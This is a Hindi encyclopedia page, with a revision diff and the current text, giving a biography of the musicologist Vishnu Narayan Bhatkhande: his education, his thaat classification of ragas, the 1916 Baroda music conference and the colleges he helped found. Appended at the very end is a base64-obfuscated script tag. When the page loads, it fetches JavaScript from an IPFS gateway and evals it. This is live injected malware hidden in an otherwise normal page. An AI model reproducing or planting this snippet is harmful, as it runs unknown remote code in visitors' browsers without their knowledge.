"विष्णुनारायण भातखंडे" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
 
(3 सदस्यों द्वारा किये गये बीच के 9 अवतरण नहीं दर्शाए गए)
पंक्ति 9: पंक्ति 9:
 
|मृत्यु=[[19 सितम्बर]], [[1936]]
 
|मृत्यु=[[19 सितम्बर]], [[1936]]
 
|मृत्यु स्थान=
 
|मृत्यु स्थान=
|अविभावक=
+
|अभिभावक=
 
|पति/पत्नी=
 
|पति/पत्नी=
 
|संतान=
 
|संतान=
पंक्ति 20: पंक्ति 20:
 
|विद्यालय='ऐल्फ़िंस्टन कॉलेज', [[मुंबई]]  
 
|विद्यालय='ऐल्फ़िंस्टन कॉलेज', [[मुंबई]]  
 
|पुरस्कार-उपाधि=
 
|पुरस्कार-उपाधि=
|प्रसिद्धि=हिन्दुस्तानी शास्त्रीय संगीत के विद्वान
+
|प्रसिद्धि=[[भारतीय शास्त्रीय संगीत|हिन्दुस्तानी शास्त्रीय संगीत]] के विद्वान
 
|विशेष योगदान=
 
|विशेष योगदान=
 
|नागरिकता=भारतीय
 
|नागरिकता=भारतीय
पंक्ति 32: पंक्ति 32:
 
|अद्यतन=
 
|अद्यतन=
 
}}
 
}}
 
+
'''पंडित विष्णुनारायण भातखंडे''' ([[अंग्रेज़ी]]: ''Vishnu Narayan Bhatkhande''; जन्म- [[10 अगस्त]], [[1860]], [[मुंबई]]; मृत्यु- [[19 सितम्बर]], [[1936]]) [[भारत]] के '[[भारतीय शास्त्रीय संगीत|हिन्दुस्तानी शास्त्रीय संगीत]]' के विद्वान व्यक्ति थे। [[शास्त्रीय संगीत]] के सबसे बड़े आधुनिक आचार्य के रूप में उनका नाम बड़े आदर के साथ लिया जाता है। पूरी तरह से नि:स्वार्थ और समर्पित [[संगीत]] साधक भातखंडे ने हिन्दुस्तानी शास्त्रीय संगीत को वैज्ञानिक पद्धति से व्यवस्थित, वर्गीकृत और मानकीकृत करने का पहला आधुनिक प्रयास किया था। उन्होंने देश भर में घूम-घूमकर उस्तादों से बंदिशें एकत्रित करने, विभिन्न [[राग|रागों]] पर उनसे चर्चा करके उनके मानक रूप निर्धारित करने और संगीतशास्त्र के रहस्यों से पर्दा उठाते हुए अनेक विद्वत्तापूर्ण पुस्तकें लिखने का महत्त्वपूर्ण कार्य किया था।
'''पंडित विष्णुनारायण भातखंडे''' (जन्म- [[10 अगस्त]], [[1860]], [[मुंबई]]; मृत्यु- [[19 सितम्बर]], [[1936]]) [[भारत]] के 'हिन्दुस्तानी शास्त्रीय संगीत' के विद्वान व्यक्ति थे। शास्त्रीय संगीत के सबसे बड़े आधुनिक आचार्य के रूप में उनका नाम बड़े आदर के साथ लिया जाता है। पूरी तरह से नि:स्वार्थ और समर्पित संगीत साधक भातखंडे ने हिन्दुस्तानी शास्त्रीय संगीत को वैज्ञानिक पद्धति से व्यवस्थित, वर्गीकृत और मानकीकृत करने का पहला आधुनिक प्रयास किया था। उन्होंने देश भर में घूम-घूमकर उस्तादों से बंदिशें एकत्रित करने, विभिन्न [[राग|रागों]] पर उनसे चर्चा करके उनके मानक रूप निर्धारित करने और संगीतशास्त्र के रहस्यों से पर्दा उठाते हुए अनेक विद्वत्तापूर्ण पुस्तकें लिखने का महत्कार्य किया।
 
 
==जन्म तथा शिक्षा==
 
==जन्म तथा शिक्षा==
विष्णुनारायण भातखंडे का जन्म मुंबई (भूतपूर्व बंबई) के बालकेश्वर नामक स्थान पर 10 अगस्त, 1860 ई. को एक चित्तपावन ब्राह्मण परिवार में हुआ था। इन्होंने [[1883]] में बी. ए. की डिग्री 'ऐल्फ़िंस्टन कॉलेज', मुंबई से प्राप्त की थी। इसके बाद वर्ष [[1890]] में एल. एल. बी. की परीक्षा पास की। बाद में उन्होंने संक्षिप्त कार्यकाल के लिए [[कराची]] के उच्च न्यायालय में एक वकील के रूप में भी सेवा की।
+
विष्णुनारायण भातखंडे का जन्म [[मुंबई]] (भूतपूर्व बंबई) के बालकेश्वर नामक स्थान पर 10 अगस्त, 1860 ई. को एक चित्तपावन [[ब्राह्मण]] परिवार में हुआ था। इन्होंने [[1883]] में बी.ए. की डिग्री 'ऐल्फ़िंस्टन कॉलेज', मुंबई से प्राप्त की थी। इसके बाद वर्ष [[1890]] में एल.एल.बी. की परीक्षा पास की। बाद में उन्होंने संक्षिप्त कार्यकाल के लिए [[कराची]] के उच्च न्यायालय में एक वकील के रूप में भी अपनी सेवाएँ प्रदान कीं।
 
====संगीत से लगाव====
 
====संगीत से लगाव====
इनकी लगन आरंभ से ही [[संगीत]] की ओर थी। भातखंडे की संगीत यात्रा [[1904]] में हुई, जिससे इन्होंने [[भारत]] के सैकड़ों स्थानों का भ्रमण करके संगीत सम्बन्धी [[साहित्य]] की खोज की। इन्होंने बड़े-बड़े गायकों का संगीत सुना और उनकी स्वर लिपि तैयार करके 'हिन्दुस्तानी संगीत पद्धति क्रमिक पुस्तक-मालिका' के नाम से एक ग्रंथमाला प्रकाशित कराई, जिसके छ: भाग हैं। शास्त्रीय ज्ञान के लिए भातखंडे ने हिन्दुस्तानी संगीत पद्धति<ref>जो [[हिन्दी]] में 'भातखंडे संगीत शास्त्र' के नाम से छपी</ref> के चार भाग [[मराठी भाषा]] में लिखे। [[संस्कृत भाषा]] में भी इन्होंने लक्ष्य-संगीत और अभिनव राग-मंजरी, नामक पुस्तकें लिखकर प्राचीन संगीत की विशेषताओं तथा उसमें फैली हुई भ्राँतियों पर प्रकाश डाला। विष्णुनारायण भातखंडे ने अपना शुद्ध ठाठ 'बिलावल' मानकर ठाठ-पद्धति स्वीकर करते हुए दस ठाठों में बहुत से रागों का वर्गीकरण किया।
+
भातखंडे की लगन आरंभ से ही [[संगीत]] की ओर थी। उनकी संगीत यात्रा [[1904]] में शुरू हुई, जिससे इन्होंने [[भारत]] के सैकड़ों स्थानों का भ्रमण करके संगीत सम्बन्धी [[साहित्य]] की खोज की। इन्होंने बड़े-बड़े गायकों का संगीत सुना और उनकी स्वर लिपि तैयार करके 'हिन्दुस्तानी संगीत पद्धति क्रमिक पुस्तक-मालिका' के नाम से एक ग्रंथमाला प्रकाशित कराई, जिसके छ: भाग हैं। शास्त्रीय ज्ञान के लिए विष्णुनारायण भातखंडे ने हिन्दुस्तानी संगीत पद्धति, जो [[हिन्दी]] में 'भातखंडे संगीत शास्त्र' के नाम से छपी थी, के चार भाग [[मराठी भाषा]] में लिखे। [[संस्कृत भाषा]] में भी इन्होंने 'लक्ष्य-संगीत' और 'अभिनव राग-मंजरी' नामक पुस्तकें लिखकर प्राचीन संगीत की विशेषताओं तथा उसमें फैली हुई भ्राँतियों पर प्रकाश डाला। विष्णुनारायण भातखंडे ने अपना शुद्ध ठाठ 'बिलावल' मानकर ठाठ-पद्धति स्वीकर करते हुए दस ठाठों में बहुत से [[राग|रागों]] का वर्गीकरण किया।<ref name="mcc">{{पुस्तक संदर्भ |पुस्तक का नाम=संगीत विशारद|लेखक=वसंत|अनुवादक= |आलोचक= |प्रकाशक=संगीत कार्यालय, हाथरस-204 101 (उ.प्र.)|संकलन= |संपादन= |पृष्ठ संख्या=520|url=}}</ref>
 
==सम्मेलन का आयोजन==
 
==सम्मेलन का आयोजन==
वर्ष [[1916]] में भातखंडे द्वारा [[बड़ौदा]] में एक विशाल संगीत सम्मेलन का आयोजन किया, जिसका उद्घाटन महाराजा बड़ौदा द्वारा हुआ था। इसमें [[संगीत]] के विद्वानों द्वारा संगीत के अनेक तथ्यों पर गम्भीरता पूर्वक विचार हुआ। इसी आयोजन में एक 'ऑल इण्डिया म्यूजिक एकेडेमी' की स्थापना का प्रस्ताव भी स्वीकर हुआ। इस संगीत सम्मेलन में भातखंडे जी के संगीत सम्बन्धी जो महत्वपूर्ण भाषण हुए, वे [[अंग्रेज़ी]] में 'ए शॉर्ट हिस्टोरिकल सर्वे ऑफ़ दी म्यूजिक ऑफ़ अपर इण्डिया' नामक पुस्तक के रूप में प्रकाशित हो चुके हैं।
+
वर्ष [[1916]] में भातखंडे द्वारा [[बड़ौदा]] में एक विशाल संगीत सम्मेलन का आयोजन किया, जिसका उद्घाटन महाराजा बड़ौदा द्वारा हुआ था। इसमें [[संगीत]] के विद्वानों द्वारा संगीत के अनेक तथ्यों पर गम्भीरता पूर्वक विचार हुआ। इसी आयोजन में एक 'ऑल इण्डिया म्यूजिक एकेडेमी' की स्थापना का प्रस्ताव भी स्वीकर हुआ। इस संगीत सम्मेलन में विष्णुनारायण भातखंडे जी के संगीत सम्बन्धी जो महत्त्वपूर्ण भाषण हुए, वे [[अंग्रेज़ी]] में 'ए शॉर्ट हिस्टोरिकल सर्वे ऑफ़ दी म्यूजिक ऑफ़ अपर इण्डिया' नामक पुस्तक के रूप में प्रकाशित हो चुके हैं।
 
====संगीत विद्यालयों की स्थापना====
 
====संगीत विद्यालयों की स्थापना====
विष्णुनारायण भातखंडे के प्रयत्नों से बाद में अन्य कई स्थानों पर भी संगीत सम्मेलन हुए तथा संगीत विद्यालयों की स्थापना हुई। इसमें [[लखनऊ]] का 'मैरिस म्यूजिक कॉलेज', जो अब 'भातखंडे संगीत विद्यापीठ' के नाम से जाना जाता है। [[ग्वालियर]] का 'माधव संगीत महाविद्यावय' तथा बड़ौदा का 'म्यूजिक कॉलेज' विशेष रूप से उल्लेखनीय हैं।
+
विष्णुनारायण भातखंडे के प्रयत्नों से बाद में अन्य कई स्थानों पर भी संगीत सम्मेलन हुए तथा संगीत विद्यालयों की स्थापना हुई। इसमें [[लखनऊ]] का 'मैरिस म्यूजिक कॉलेज', जो अब 'भातखंडे संगीत विद्यापीठ' के नाम से जाना जाता है, [[ग्वालियर]] का 'माधव संगीत महाविद्यावय' तथा बड़ौदा का 'म्यूजिक कॉलेज' विशेष रूप से उल्लेखनीय हैं।<ref name="mcc"/>
 
==निधन==
 
==निधन==
इस प्रकार भातखंडे ने अपने अथक परिश्रम द्वारा [[संगीत]] की महान सेवा की और भारतीय संगीत को एक नए प्रकाश से आलोकित करके [[19 सितम्बर]], [[1936]] को परलोक वासी हो गए।
+
अपना अधिकांश समय विष्णुनारायण भातखंडे ने [[संगीत]] को समर्पित कर दिया था। उन्होंने अपने अथक परिश्रम द्वारा [[संगीत]] की महान् सेवा की और भारतीय संगीत को एक नए प्रकाश से आलोकित करके [[19 सितम्बर]], [[1936]] को परलोक वासी हो गए।
  
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
पंक्ति 51: पंक्ति 50:
 
==संबंधित लेख==
 
==संबंधित लेख==
 
{{शास्त्रीय गायक कलाकार}}
 
{{शास्त्रीय गायक कलाकार}}
[[Category:शास्त्रीय गायक कलाकार]][[Category:कला कोश]][[Category:संगीत कोश]][[Category:चरित कोश]][[Category:प्रसिद्ध व्यक्तित्व]][[Category:प्रसिद्ध व्यक्तित्व कोश]]
+
[[Category:संगीतज्ञ]][[Category:शास्त्रीय गायक कलाकार]][[Category:कला कोश]][[Category:संगीत कोश]][[Category:चरित कोश]][[Category:प्रसिद्ध व्यक्तित्व]][[Category:प्रसिद्ध व्यक्तित्व कोश]]
 
__INDEX__
 
__INDEX__
 
__NOTOC__
 
__NOTOC__

05:23, 10 अगस्त 2018 के समय का अवतरण

विष्णुनारायण भातखंडे
विष्णुनारायण भातखंडे
पूरा नाम विष्णुनारायण भातखंडे
जन्म 10 अगस्त, 1860
जन्म भूमि मुंबई
मृत्यु 19 सितम्बर, 1936
कर्म भूमि भारत
कर्म-क्षेत्र संगीत
शिक्षा बी.ए. (1883), एल.एल.बी. (1890)
विद्यालय 'ऐल्फ़िंस्टन कॉलेज', मुंबई
प्रसिद्धि हिन्दुस्तानी शास्त्रीय संगीत के विद्वान
नागरिकता भारतीय
अन्य जानकारी शास्त्रीय ज्ञान के लिए भातखंडे ने 'हिन्दुस्तानी संगीत पद्धति' के चार भाग मराठी भाषा में लिखे थे।

पंडित विष्णुनारायण भातखंडे (अंग्रेज़ी: Vishnu Narayan Bhatkhande; जन्म- 10 अगस्त, 1860, मुंबई; मृत्यु- 19 सितम्बर, 1936) भारत के 'हिन्दुस्तानी शास्त्रीय संगीत' के विद्वान व्यक्ति थे। शास्त्रीय संगीत के सबसे बड़े आधुनिक आचार्य के रूप में उनका नाम बड़े आदर के साथ लिया जाता है। पूरी तरह से नि:स्वार्थ और समर्पित संगीत साधक भातखंडे ने हिन्दुस्तानी शास्त्रीय संगीत को वैज्ञानिक पद्धति से व्यवस्थित, वर्गीकृत और मानकीकृत करने का पहला आधुनिक प्रयास किया था। उन्होंने देश भर में घूम-घूमकर उस्तादों से बंदिशें एकत्रित करने, विभिन्न रागों पर उनसे चर्चा करके उनके मानक रूप निर्धारित करने और संगीतशास्त्र के रहस्यों से पर्दा उठाते हुए अनेक विद्वत्तापूर्ण पुस्तकें लिखने का महत्त्वपूर्ण कार्य किया था।

जन्म तथा शिक्षा

विष्णुनारायण भातखंडे का जन्म मुंबई (भूतपूर्व बंबई) के बालकेश्वर नामक स्थान पर 10 अगस्त, 1860 ई. को एक चित्तपावन ब्राह्मण परिवार में हुआ था। इन्होंने 1883 में बी.ए. की डिग्री 'ऐल्फ़िंस्टन कॉलेज', मुंबई से प्राप्त की थी। इसके बाद वर्ष 1890 में एल.एल.बी. की परीक्षा पास की। बाद में उन्होंने संक्षिप्त कार्यकाल के लिए कराची के उच्च न्यायालय में एक वकील के रूप में भी अपनी सेवाएँ प्रदान कीं।

संगीत से लगाव

भातखंडे की लगन आरंभ से ही संगीत की ओर थी। उनकी संगीत यात्रा 1904 में शुरू हुई, जिससे इन्होंने भारत के सैकड़ों स्थानों का भ्रमण करके संगीत सम्बन्धी साहित्य की खोज की। इन्होंने बड़े-बड़े गायकों का संगीत सुना और उनकी स्वर लिपि तैयार करके 'हिन्दुस्तानी संगीत पद्धति क्रमिक पुस्तक-मालिका' के नाम से एक ग्रंथमाला प्रकाशित कराई, जिसके छ: भाग हैं। शास्त्रीय ज्ञान के लिए विष्णुनारायण भातखंडे ने हिन्दुस्तानी संगीत पद्धति, जो हिन्दी में 'भातखंडे संगीत शास्त्र' के नाम से छपी थी, के चार भाग मराठी भाषा में लिखे। संस्कृत भाषा में भी इन्होंने 'लक्ष्य-संगीत' और 'अभिनव राग-मंजरी' नामक पुस्तकें लिखकर प्राचीन संगीत की विशेषताओं तथा उसमें फैली हुई भ्राँतियों पर प्रकाश डाला। विष्णुनारायण भातखंडे ने अपना शुद्ध ठाठ 'बिलावल' मानकर ठाठ-पद्धति स्वीकर करते हुए दस ठाठों में बहुत से रागों का वर्गीकरण किया।[1]

सम्मेलन का आयोजन

वर्ष 1916 में भातखंडे द्वारा बड़ौदा में एक विशाल संगीत सम्मेलन का आयोजन किया, जिसका उद्घाटन महाराजा बड़ौदा द्वारा हुआ था। इसमें संगीत के विद्वानों द्वारा संगीत के अनेक तथ्यों पर गम्भीरता पूर्वक विचार हुआ। इसी आयोजन में एक 'ऑल इण्डिया म्यूजिक एकेडेमी' की स्थापना का प्रस्ताव भी स्वीकर हुआ। इस संगीत सम्मेलन में विष्णुनारायण भातखंडे जी के संगीत सम्बन्धी जो महत्त्वपूर्ण भाषण हुए, वे अंग्रेज़ी में 'ए शॉर्ट हिस्टोरिकल सर्वे ऑफ़ दी म्यूजिक ऑफ़ अपर इण्डिया' नामक पुस्तक के रूप में प्रकाशित हो चुके हैं।

संगीत विद्यालयों की स्थापना

विष्णुनारायण भातखंडे के प्रयत्नों से बाद में अन्य कई स्थानों पर भी संगीत सम्मेलन हुए तथा संगीत विद्यालयों की स्थापना हुई। इसमें लखनऊ का 'मैरिस म्यूजिक कॉलेज', जो अब 'भातखंडे संगीत विद्यापीठ' के नाम से जाना जाता है, ग्वालियर का 'माधव संगीत महाविद्यावय' तथा बड़ौदा का 'म्यूजिक कॉलेज' विशेष रूप से उल्लेखनीय हैं।[1]

निधन

अपना अधिकांश समय विष्णुनारायण भातखंडे ने संगीत को समर्पित कर दिया था। उन्होंने अपने अथक परिश्रम द्वारा संगीत की महान् सेवा की और भारतीय संगीत को एक नए प्रकाश से आलोकित करके 19 सितम्बर, 1936 को परलोक वासी हो गए।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 संगीत विशारद |लेखक: वसंत |प्रकाशक: संगीत कार्यालय, हाथरस-204 101 (उ.प्र.) |पृष्ठ संख्या: 520 |

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>